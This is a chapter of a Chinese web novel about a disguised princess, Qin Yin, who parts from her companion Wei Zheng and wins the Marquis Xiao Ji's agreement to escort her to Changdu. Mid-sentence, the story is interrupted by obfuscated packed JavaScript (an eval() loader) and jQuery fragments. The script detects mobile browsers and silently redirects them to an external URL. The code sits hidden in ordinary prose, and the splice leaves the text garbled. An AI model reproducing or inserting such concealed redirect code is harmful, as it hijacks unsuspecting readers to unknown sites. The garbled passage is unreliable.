“离开兆州,回九陵吗?”卫琤默默收回为秦音夹的菜,抬眼盯着她。
“不。”秦音摇摇头,“我打算回长都去。家里的事情我不放心,我想回去看一看,哪怕被父亲责骂也没关系。”
秦音语气坚决,卫琤知道她向来有自己的主意,静默片刻道:“那,我陪你一起回去。”
“不用。”秦音再次摇摇头。
卫琤眼波微动,有些不敢相信她竟然会拒绝,心里闷闷的,有些说不出的失落。现在的秦音又不是前几个月的秦音,她不需要人照顾,自己就能够把自己照顾的很好。
“为何?”最后卫琤还是忍不住,问了原因。
“卫琤。”秦音伸手握住他拿筷子的手腕,眼睛里是说不出的认真,“我不希望因为我的事而绊住你的脚步,我不是你的主人,我不想强求你陪着我回长都。你可以去做你自己想做的任何事。”
“卫琤。”透过卫琤的眼睛,秦音看到了自己,她深深喊了一声,“很谢谢你这些日子照顾我,我会等你,等你解决完自己的事情来找我。”
其实隆安侯对秦音避而不见的这些日子,秦音心情很复杂。一是因为见不到隆安侯,对自己父皇的挂念越来越强烈;二却是因为借着同卫琤的赌约,又让他在自己身边多待了几日。
其实她很不想卫琤离开,早在卫琤说不能陪她去长都的时候,她心中就闪过一丝要栓住卫琤的念头。可她舍不得,也不想看到卫琤脸上流露出对她异样的神情。
于是她选择了放手,她会等,等自己确保父皇、皇兄平安无事、等卫琤解决掉他的恩怨,等两人再相聚那日。
她相信卫琤。
听了秦音的话,卫琤心中激荡万分,原本失落的情绪在这一刻如坐上了随波涛翻涌的一叶扁舟,起伏不定。
他将空着的那只手轻轻覆上,望进秦音的眼底:“我会来找你的。”
承诺简单又郑重。
“好。”秦音朝他展颜一笑,撩动他的心魄。
几人用完饭,秦音便提出要给卫琤准备点赶路用的干粮,卫琤自然是拒绝的。
“我不需要这些。”
秦音道:“出门在外总要布置点行头,你瞧你总共就没几身衣裳,行李也不多。外头风餐露宿的,还是多备点好。”
“对呀卫少侠。”入梅跟着劝道,“而且这些日子多亏你照顾,你不用跟我们客气的。”
卫琤被秦音拉进一家又一家的衣行,两人打着置办行头的名义为他挑了一身又一身衣服。卫琤对穿着没什么要求,穿得舒服就行。可渐渐的在秦音一声声的“这件好看”里,将衣服试了又试。
最终,卫琤拎着大包小包的同秦音她们一起回了客栈。
几人刚进客栈,就看见萧寂端坐在大堂前,店内小二、客人纷纷绕开他,又忍不住伸出头观察他,几人窃窃私语。
“这是隆安侯吧,他来这里干什么?”
“是他呀,谁知道他来干什么,我们还是躲着他走吧。”
议论纷纷入耳,萧寂仿若未觉,端坐在桌前,桌上点的那杯茶等凉了才见到人。
“侯爷。”秦音泰然自若的走到萧寂面前,丝毫对他没有芥蒂的样子。
“姑娘。”萧寂连忙起身,“萧寂先前怠慢了姑娘,今日特来向姑娘请罪。”
秦音的出现使得大堂内的所有人都将目光聚集在她们身上:“此处人多眼杂,不如侯爷随我去亭内一叙。”
“此处是人多,萧寂斗胆请姑娘移步府内,与姑娘共商要事。”
秦音转头看了眼卫琤:“要辛苦你自己去把东西放好了,我和入梅去一趟。”
卫琤把包裹往桌上一放:“没关系,叫店里人保管就好,我陪你去。”
“不急不急。”萧寂连连摆手,“我可以等诸位的。”
秦音眼珠一转,道:“如此,那劳烦侯爷在此等候,等我们把这些东西收拾一下再来。”
“好。”萧寂应了一声,目送秦音几人上楼后,慢慢在桌边坐下。来之前还担心秦音对有不满,这儿倒是心里默默松了口气,暗骂自己有小人之心了。端起跟前的茶正欲一饮而尽,又觉得茶太凉了,招呼小二过来添茶。
一杯下肚,两杯下肚,三杯下肚,四杯、五杯......
“侯,侯爷,这茶色都快没了,要不要帮您再换一杯?”小二端着茶壶小心翼翼的问。
“不用了。”萧寂摆摆手,他也喝不下了。
等到萧寂快坐不住想起来走走时,秦音这才姗姗来迟。
“来迟了,抱歉。”走在前头的入梅朝萧寂行了个礼,随后伸手道,“侯爷请带路吧。”
萧寂敢怒不敢言:“马车已经在门口候着,三位请。”
“嗯。”入梅仰着脖子应了一声,站在马车边上扶着秦音上了马车。
萧寂翻身上马,对着放下的车帘欲言又止,转头对车夫道:“走吧。”
马车内,入梅许久没有端起宫里的架子了,这会儿想起在萧寂面前摆出她大宫女的样子来,仍旧心有余悸。
“公主,我那样可以吗?没给公主丢脸吧!”
秦音伸手捏了捏入梅的脸:“可以!很棒!”
秦音捏的不重,入梅也没感觉到疼,嘿嘿一笑:“隆安侯敢怠慢公主这些日子,就算是他亲自来请,我也恨不得再在房里多待几个时辰再下来。”
秦音道:“隆安侯既然亲自来请,我也不想太下他面子,让他知道我们的态度即可。”
“那侯爷脾气是挺好的。”卫琤冷不丁道,又歪头望着秦音笑,“你脾气也挺好。”
这话秦音听得乐呵,高兴的点点头:“自然。”
她脾气一向挺好。
方才在厢房里,她倒也不是真的傻坐着。趁着卫琤收拾包袱的间隙,她还派小二留心着楼下隆安侯的神色。除了他喝茶喝得受不了了,倒没见他有急躁的情绪,可见他前来不是特地来敷衍她。
“姑娘,请下马车。”
车外传来萧寂恭敬的声音,秦音下了马车才发现隆安侯府门口站满了人。
站在最前头的是商清元和萧知白,由他们两人带头率先朝秦音跪下:“见过姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200202|191466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘。”
萧寂站在一旁朝秦音解释:“本欲在客栈便来迎姑娘,但姑娘出行低调,侯府也不便过多张扬。还请姑娘恕罪。”
“难为侯爷了。”
秦音说得无波无澜,却萧寂听得心头一颤,低头请了秦音进去。
商清元原本想请秦音几人在大堂小坐,秦音拒绝了:“侯爷有事不如找个安静点的地方去聊吧。”
“好好。”萧寂应着,又请秦音往书房走,只是看到卫琤和入梅二人犯了难,“二位不如在此小坐,我安排人备点点心来。”
“他们不是外人,随我一起去即可。”
“好,三位请。”
萧寂请秦音三人进了书房后,对站在门口的商清元和萧知白道:“你们也进来吧。”
“爹,可以吗?”萧知白被今日父亲的行为举止有些惊讶到,在他印象了父亲一向骄傲,哪怕被兆州城里人谩骂多次,也不爱争辩什么。这次竟然会亲自上门道歉,让他颇为动容,又生出一些骄傲来。
“进来吧,你们也不是外人。”
商清元朝丈夫欣慰的点点头,拉着儿子随萧寂一起进了书房。
萧寂随后关上门,转身朝秦音跪下:“臣多次冒犯公主,还请公主恕罪。”
商清元也没想到丈夫会突然跪下,连忙拉着萧知白一起跪。
秦音坐着没动,只虚虚抬了抬手:“侯爷请起吧,秦音与侯爷未曾有过恩怨,只有一请求罢了,侯爷不愿秦音也不会强人所难。只是有些遗憾,隆安侯府与兆安军的风骨不在。”
萧寂低头:“萧寂对先祖有愧。”
“侯爷,秦音这次随侯爷来,只是想听侯爷一个答案。”
“公主不必多言,先前是臣顾虑过多,臣愿陪同公主一起去长都。”萧寂连忙道,“只是臣只能护送公主到长都,其中牵扯,隆安侯府与兆安军不会有过多干预。”
“侯爷!”
“爹!”
商清元和萧知白都有些不可置信。
鱼符在公主手里,公主要做什么他便只能做什么,他却公然提出这样的条件,显然是大胆。
“可以。”秦音爽快的答应了,“本公主来兆州不欲让太多人知道,自然回长都也是如此。这次回长都,侯爷可以回长都祭拜先祖为由,我扮作丫鬟随从就行。”
“这怎么行?”商清元道,“公主乃千金贵体,如何当得了丫鬟。”
“夫人,秦音此去长都只是想去看看父皇是否安好,以女儿之心扮丫鬟之身,当然当得了。”
商清元点点头,为秦音这段话深受感动。
萧寂听这段话,再次低了低头,为自己的无理感到羞愧,却又说不出什么来。
“不知侯爷可否带我去见见兆安军?”既然她来了,那自然要去见见兆安军等人。
“此事我还没通知兆安军的将领,臣想先安排兆安军做好准备,明日再来请公主如何?”
萧寂对上三人的眼神,知道自己有前车之鉴,又补充道:“明日臣定亲自来客栈请公主。”
“如此,也罢。”